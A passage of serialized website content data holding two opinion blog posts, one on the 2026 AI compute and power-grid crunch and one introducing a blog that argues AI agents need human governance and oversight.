fancier name.",[49,4001,4002,4003,4006],{},"Somewhere in a co–working space, a man in a Patagonia vest is writing a blog post about how ",[1253,4004,4005],{},"this time"," it's different.\nIt is always different. It is never better.",[49,4008,3948],{},[44,4010,4012],{"id":4011},"the-turn","The Turn",[49,4014,4015],{},"Here's where I lean forward and drop my voice.",[49,4017,4018,4019,4022],{},"There is something different about this particular moment. Not because the technology is better – it's always \"better.\"\nWhat's different is the ",[1253,4020,4021],{},"pressure",". The resource table above isn't a warning. It's a fact. We cannot keep generating\nslop and hoping the next model will clean it up. We cannot keep throwing hardware at software problems when the hardware\nisn't there.",[49,4024,4025],{},"The constraints are back. And constraints – real ones, the kind that don't go away when you throw money – are where\nengineering actually happens.",[49,4027,4028],{},[1092,4029,4030],{},"From chaos, order.",[49,4032,4033,4034],{},"Not the accidental kind. Not \"it'll sort itself out eventually.\" The deliberate kind. The kind where someone surveys the\nfield from the hilltop, counts the sheep, and says: ",[1253,4035,4036],{},"enough. You're soldiers now. Here are your rules of engagement.",[49,4038,4039],{},"I'm building something. Five components. A name. A philosophy that doesn't fit in a tweet but fits perfectly in a\nstatute.",[49,4041,4042],{},"The sheep have a codex. The system has an eye.",[49,4044,4045],{},"But before anything else - before rules, before architecture, before the first soldier receives its orders – you need to\nsee. Every token. Every decision. Every cost. Every failure.",[49,4047,4048],{},[1092,4049,4050],{},"You cannot command what you cannot see.",[49,4052,1651,4053,1334],{},[1092,4054,4055],{},[56,4056,22],{"href":58},[1659,4058,4059],{"color":1661,"icon":1662},[49,4060,1665],{},[1667,4062,4063,4067],{":name":1669,":src":1670},[1672,4064,4065],{"v-slot:body":120},[49,4066,1676],{},[1672,4068,4069],{"v-slot:actions":120},[1680,4070],{"color":1682,"icon":1683,"target":1684,"title":1685,"to":1686,"variant":1687},{"title":120,"searchDepth":158,"depth":168,"links":4072},[4073,4074,4075,4076,4077,4078,4079,4080],{"id":3720,"depth":158,"text":3721},{"id":3741,"depth":158,"text":3742},{"id":3766,"depth":158,"text":3767},{"id":3873,"depth":158,"text":3874},{"id":3920,"depth":158,"text":3921},{"id":3951,"depth":158,"text":3952},{"id":3986,"depth":158,"text":3987},{"id":4011,"depth":158,"text":4012},"2026-02-01T00:00:00.000Z","The AI gold rush ate the hardware. The hardware ate the power grid. Nobody is driving.",{},"---\ntitle: \"Fear and Loathing in the Gas Town\"\ndate: 2026-02-01\ndescription: \"The AI gold rush ate the hardware. The hardware ate the power grid. Nobody is driving.\"\nseo_title: \"AI Infrastructure Crisis 2026: GPU Shortage, Compute Costs, and the Power Grid\"\nseo_description: \"GPU shortages, soaring AI compute costs, and a power grid buckling under data center demand. The AI infrastructure crisis is here – and nobody planned for it.\"\ntags: [ ai-infrastructure, gpu-shortage, ai-compute-costs, opinion ]\nauthor: Shepard\nauthor_avatar: /icon.png\nauthor_description: \"AI Governance\"\nthumbnail: /icon.png\nsitemap:\n  lastmod: 2026-02-01\n---\n\n## The $47 Tuesday\n\nI woke up with a forty-seven-dollar cloud bill. For a Tuesday. A single, unremarkable Tuesday. One agent. One night.\nScale that to a squad running all week and the number gets a fifth digit. Nobody signed a purchase order.\n\nThe model had been running overnight – a stochastic parrot with a credit card and no supervision, like handing a\nflamethrower to a golden retriever and calling it a fire department – and somewhere between 2 AM and sunrise, it decided\nto refactor a module that didn't need refactoring. Three times. Then it wrote tests for the refactored code. Then it\nrefactored the tests.\n\nNobody asked it to. Nobody was watching.\n\n**Nobody was in command.**\n\nWelcome to 2026. Pull up a chair. The hangover is spectacular.\n\n## The Binge\n\nRemember when resources were cheap?\n\nI do. It feels like remembering a different civilization.\n\nYou'd spin up an instance, glance at the pricing tier, pick the next size up because, honestly, what's the difference?\nFifteen cents an hour, thirty cents, who's counting. The email client weighs a gigabyte? Fine. Two? Sure. Five? Why not.\nMemory is cheap. Compute is inexpensive. Electricity is someone else's problem.\n\nWe stopped counting clock cycles. We stopped counting bytes. We stopped counting anything at all. More. Fatter.\nHungrier. The mantra of an industry drunk on Moore’s law and someone else's power bill.\n\nIt was a good binge. I'll give us that. We built extraordinary things while wasted on cheap resources. Cloud platforms.\nReal-time collaboration. Models that pass a bar exam.\n\nBut here's the thing about binges.\n\nThey end.\n\n## The Morning After\n\n| Resource                          | 2026 Status | Crisis Type    |\n|-----------------------------------|-------------|----------------|\n| GPU                               | 🔴 Deficit  | Structural     |\n| HBM / VRAM                        | 🔴 Critical | Fundamental    |\n| RAM (DDR5)                        | 🟠 Strained | Cyclical       |\n| Power grid                        | 🔴 Systemic | Infrastructure |\n| Fabrication                       | 🟠 Lagging  | Inertial       |\n| Engineers who see the whole board | 🔴 Shortage | Terminal       |\n\nIf this were a patient, the chart would read: technically alive, spiritually bankrupt, insurance expired 2024.\n\nHistory does this thing where it spirals. We went from counting every byte on a punch card to wasting terabytes on\nElectron apps wrapped around a text field, and now - full circle - we're counting again.\n\nExcept the units changed. We're not counting bytes anymore. We're counting kilowatts. Tokens. \nThe humans who actually understand what the hell is happening.\n\nOne data center now drinks power like a small city. So that a model - trained on our data, public and not-so-public -\ncan generate as much \"AI-slop\" as inhumanly possible. \u003Cbr> \nSlop it's a code generated by default, reviewed by nobody, deployed\non faith. Code that will itself consume the resources we no longer have. Which will require more compute to manage.\nWhich will eat more power. Which will...\n\nYou see where this goes.\n\nThe snake found its tail. The snake is eating well.\n\n## His Majesty, Context\n\nHere's the pitch from the hype barkers – the conference-circuit prophets who couldn't deploy a todo app without three\nwrappers and a prayer: \n> *\"Don't worry about code quality. Just feed it back into the model. The model will sort it out.\"*\n\nNo. The model will not sort it out. Especially if it's anything more complex than that notorious todo app.\n\nThe model *is* the problem wearing a solution's uniform.\n\nBecause into the equation walks His Majesty: **Context**. The invisible constraint nobody warned you about.\n\nWe now fight not only for cycles and memory, but for something far stranger – the attention span of a stochastic parrot\nwith a 200K-token window and the long-term memory of a goldfish. Context windows. Hallucination rates. Prompt hygiene.\nOutput entropy.\n\nWe traded one set of engineering constraints for another. Except this set is weirder, harder to measure, and nobody\nwrote the textbook yet because the textbook would be outdated before the ink dried.\n\nAnd this - *this* - is where good engineers enter the picture. The ones who can hold all of it in their head at once.\nResources, context, hallucination risk, output quality, cost per token, cost per mistake. The ones who think about it on\nthe shore, before the current pulls them into the sewer, and they're screaming for mama.\n\nThey are in short supply. See the table above. Last row.\n\n## The Dream\n\nPause. Breathe. Ask yourself honestly.\n\nWouldn't you kill for a virtual army of engineers? Your own squad. Ones that do exactly what you need, exactly how you\nneed it. Clean code. Reliable deploys. Fast iterations. Economical with resources. Maintainable at 3 AM six months\nlater.\n\nNo arguments. No _\"I'll refactor this later.\"_ No _\"works on my machine.\"_ No vanishing for two weeks into a rabbit hole\nthat produces a framework nobody asked for.\n\nEvery engineer alive is a secret architect. In our souls, we're all grander than the Wachowskis, with a cathedral-grade\nvision of how the system *should* work. The perfect codebase. The perfect pipeline. The perfect abstraction.\n\nBut.\n\n## The Meat Problem\n\nReality is meat.\n\nYou're a piece of meat surrounded by other pieces of meat, each with their own priorities, their own bad Tuesday, their\nown interpretation of \"*done*\". If something matters to you – it might not matter to them. Not out of malice. Out of meat.\n\nThat's why the industry hunts for mythical senior engineers. The ones who – alone, or maybe with one partner if the\nstars align and neither quits in six months – will carry an entire department. Whole companies run on the shoulders of\ntwo people who happen to care about the same things at the same time.\n\nHow many times have you told yourself: *this project – this one – I'll do right. Start to finish. My way. Everything\nwill be clean. Everything will work. Everything will be–*\n\nA blocker. Someone's sick, ship it fast. \"We'll rewrite later.\" \"Fine, leave it.\"\n\nFrankenstein. Again. You wanted the best. You got the usual.\n\nThis is not a failure of technology. This is optimism mistaken for a plan.\n\nYou can't build the cathedral from meat. You need builders with a statute, not a mood.\n\n## Chaos\n\nChaos chaos chaos.\n\nI've been writing software for longer than I care to admit. I've watched patterns come and go. Waterfall, agile,\nmicroservices, monoliths again, serverless, server–more, AI–first, AI–who–cares. Each time, the promise: *this* will\nbring order.\n\nEach time: new chaos with a fancier name.\n\nSomewhere in a co–working space, a man in a Patagonia vest is writing a blog post about how *this time* it's different.\nIt is always different. It is never better.\n\nBut.\n\n## The Turn\n\nHere's where I lean forward and drop my voice.\n\nThere is something different about this particular moment. Not because the technology is better – it's always \"better.\"\nWhat's different is the *pressure*. The resource table above isn't a warning. It's a fact. We cannot keep generating\nslop and hoping the next model will clean it up. We cannot keep throwing hardware at software problems when the hardware\nisn't there.\n\nThe constraints are back. And constraints – real ones, the kind that don't go away when you throw money – are where\nengineering actually happens.\n\n**From chaos, order.**\n\nNot the accidental kind. Not \"it'll sort itself out eventually.\" The deliberate kind. The kind where someone surveys the\nfield from the hilltop, counts the sheep, and says: *enough. You're soldiers now. Here are your rules of engagement.*\n\nI'm building something. Five components. A name. A philosophy that doesn't fit in a tweet but fits perfectly in a\nstatute.\n\nThe sheep have a codex. The system has an eye.\n\nBut before anything else - before rules, before architecture, before the first soldier receives its orders – you need to\nsee. Every token. Every decision. Every cost. Every failure.\n\n**You cannot command what you cannot see.**\n\nNext dispatch: **[The Eye](/articles/the-eye/)**.\n\n::callout{icon=\"i-lucide-info\" color=\"info\"}\nThis blog is optimized for both human readers and LLM consumption. \nEvery article follows a clear heading hierarchy and is available via RSS and llms.txt\n::\n\n::author-about{:src=\"author_avatar\" :name=\"author\"}\n#body\nBuilding the system. Writing the field manual.\n\n#actions\n:u-button{icon=\"i-lucide-rss\" to=\"/feed.xml\" title=\"RSS Feed\" variant=\"subtle\" color=\"neutral\" target=\"_blank\"}\n::\n",{"title":14,"description":4082},"GPU shortages, soaring AI compute costs, and a power grid buckling under data center demand. The AI infrastructure crisis is here – and nobody planned for it.","AI Infrastructure Crisis 2026: GPU Shortage, Compute Costs, and the Power Grid",{"loc":15,"lastmod":4089},"2026-02-01",[4091,4092,4093,2357],"ai-infrastructure","gpu-shortage","ai-compute-costs","QzM5iBO5SXTMPnzwFjilSte_UKUfMCVMF4PLCDWymtg",{"id":4096,"title":18,"author":37,"author_avatar":38,"author_description":39,"body":4097,"date":4206,"description":4207,"extension":1716,"meta":4208,"navigation":292,"path":19,"rawbody":4209,"seo":4210,"seo_description":4211,"seo_title":4212,"sitemap":4213,"stem":20,"tags":4215,"thumbnail":38,"__hash__":4219},"articles/articles/init.md",{"type":41,"value":4098,"toc":4200},[4099,4103,4106,4109,4112,4115,4121,4125,4128,4131,4134,4137,4141,4144,4170,4173,4177,4180,4183,4186,4190],[44,4100,4102],{"id":4101},"the-observation","The Observation",[49,4104,4105],{},"Everyone builds with AI. Few govern it.",[49,4107,4108],{},"Agents are everywhere now. They write code, answer tickets, draft emails, run pipelines, make decisions.\nThey are powerful. They are fast. They are also dumb like sheep.",[49,4110,4111],{},"Out of the box, an agent wanders. It hallucinates. It forgets what it said two messages ago.\nIt contradicts its own instructions. It has no memory, no boundaries, no chain of command.",[49,4113,4114],{},"And yet - we keep deploying them. We keep giving them access to production databases, customer data, critical\ninfrastructure. We give the sheep the keys and hope for the best.",[49,4116,4117,4118],{},"The question nobody is asking: ",[1092,4119,4120],{},"who is in command?",[44,4122,4124],{"id":4123},"the-answer","The Answer",[49,4126,4127],{},"A shepherd.",[49,4129,4130],{},"Not a bigger model. Not more context. Not another framework.\nA shepherd – a human who sets the rules, defines the boundaries, and enforces the statute.",[49,4132,4133],{},"Sheep governed by statute become soldiers. They have a codex.\nThey know what they can do, what they must not do, and who they report to.\nThey operate within pastures, pass through gates, and their actions are observed.",[49,4135,4136],{},"This is not about restricting AI. It is about commanding it.",[44,4138,4140],{"id":4139},"what-to-expect","What to Expect",[49,4142,4143],{},"Each dispatch from this blog reveals one piece of the puzzle:",[83,4145,4146,4152,4158,4164],{},[86,4147,4148,4151],{},[1092,4149,4150],{},"Philosophy"," – why governance is the missing layer, and what happens without it",[86,4153,4154,4157],{},[1092,4155,4156],{},"Architecture"," – the pieces of the system: pastures, gates, staffs, memory, the eye",[86,4159,4160,4163],{},[1092,4161,4162],{},"Practice"," – real configurations, real trade-offs, real failures",[86,4165,4166,4169],{},[1092,4167,4168],{},"Trade-offs"," – what you gain, what you lose, and why it is worth it",[49,4171,4172],{},"No hype. No hand-waving. Field reports from someone building the system.",[44,4174,4176],{"id":4175},"the-name","The Name",[49,4178,4179],{},"Commander Shepard. Mass Effect. A human leader who commands a diverse squad of specialists.\nEach specialist is powerful on their own, but it is the commander who decides the mission, the rules of engagement, and\nthe acceptable losses.",[49,4181,4182],{},"That is the model.",[49,4184,4185],{},"There is a system. It has a name. The agents have a codex. More will be revealed.",[1659,4187,4188],{"color":1661,"icon":1662},[49,4189,1665],{},[1667,4191,4192,4196],{":name":1669,":src":1670},[1672,4193,4194],{"v-slot:body":120},[49,4195,1676],{},[1672,4197,4198],{"v-slot:actions":120},[1680,4199],{"color":1682,"icon":1683,"target":1684,"title":1685,"to":1686,"variant":1687},{"title":120,"searchDepth":158,"depth":168,"links":4201},[4202,4203,4204,4205],{"id":4101,"depth":158,"text":4102},{"id":4123,"depth":158,"text":4124},{"id":4139,"depth":158,"text":4140},{"id":4175,"depth":158,"text":4176},"2026-01-31T00:00:00.000Z","The first dispatch. Why this blog exists, and what the shepherd sees from the hilltop.",{},"---\ntitle: \"git commit -m 'init'\"\ndate: 2026-01-31\ndescription: \"The first dispatch. Why this blog exists, and what the shepherd sees from the hilltop.\"\nseo_title: \"AI Governance Field Manual: Why AI Agents Need a Shepherd\"\nseo_description: \"Why AI agents need governance, not more autonomy. The first dispatch from Digital Shepard – a field manual for human-in-the-loop AI oversight.\"\ntags: [ ai-governance, human-in-the-loop, meta ]\nauthor: Shepard\nauthor_avatar: /icon.png\nauthor_description: \"AI Governance\"\nthumbnail: /icon.png\nsitemap:\n  lastmod: 2026-01-31\n---\n\n## The Observation\n\nEveryone builds with AI. Few govern it.\n\nAgents are everywhere now. They write code, answer tickets, draft emails, run pipelines, make decisions.\nThey are powerful. They are fast. They are also dumb like sheep.\n\nOut of the box, an agent wanders. It hallucinates. It forgets what it said two messages ago.\nIt contradicts its own instructions. It has no memory, no boundaries, no chain of command.\n\nAnd yet - we keep deploying them. We keep giving them access to production databases, customer data, critical\ninfrastructure. We give the sheep the keys and hope for the best.\n\nThe question nobody is asking: **who is in command?**\n\n## The Answer\n\nA shepherd.\n\nNot a bigger model. Not more context. Not another framework.\nA shepherd – a human who sets the rules, defines the boundaries, and enforces the statute.\n\nSheep governed by statute become soldiers. They have a codex.\nThey know what they can do, what they must not do, and who they report to.\nThey operate within pastures, pass through gates, and their actions are observed.\n\nThis is not about restricting AI. It is about commanding it.\n\n## What to Expect\n\nEach dispatch from this blog reveals one piece of the puzzle:\n\n- **Philosophy** – why governance is the missing layer, and what happens without it\n- **Architecture** – the pieces of the system: pastures, gates, staffs, memory, the eye\n- **Practice** – real configurations, real trade-offs, real failures\n- **Trade-offs** – what you gain, what you lose, and why it is worth it\n\nNo hype. No hand-waving. Field reports from someone building the system.\n\n## The Name\n\nCommander Shepard. Mass Effect. A human leader who commands a diverse squad of specialists.\nEach specialist is powerful on their own, but it is the commander who decides the mission, the rules of engagement, and\nthe acceptable losses.\n\nThat is the model.\n\nThere is a system. It has a name. The agents have a codex. More will be revealed.\n\n::callout{icon=\"i-lucide-info\" color=\"info\"}\nThis blog is optimized for both human readers and LLM consumption. \nEvery article follows a clear heading hierarchy and is available via RSS and llms.txt\n::\n\n::author-about{:src=\"author_avatar\" :name=\"author\"}\n#body\nBuilding the system. Writing the field manual.\n\n#actions\n:u-button{icon=\"i-lucide-rss\" to=\"/feed.xml\" title=\"RSS Feed\" variant=\"subtle\" color=\"neutral\" target=\"_blank\"}\n::\n",{"title":18,"description":4207},"Why AI agents need governance, not more autonomy. The first dispatch from Digital Shepard – a field manual for human-in-the-loop AI oversight.","AI Governance Field Manual: Why AI Agents Need a Shepherd",{"loc":19,"lastmod":4214},"2026-01-31",[4216,4217,4218],"ai-governance","human-in-the-loop","meta","LawPJONG45YFY8VgUQCBRdPinwozY3dWlarl0IGQbcE",1772475036366]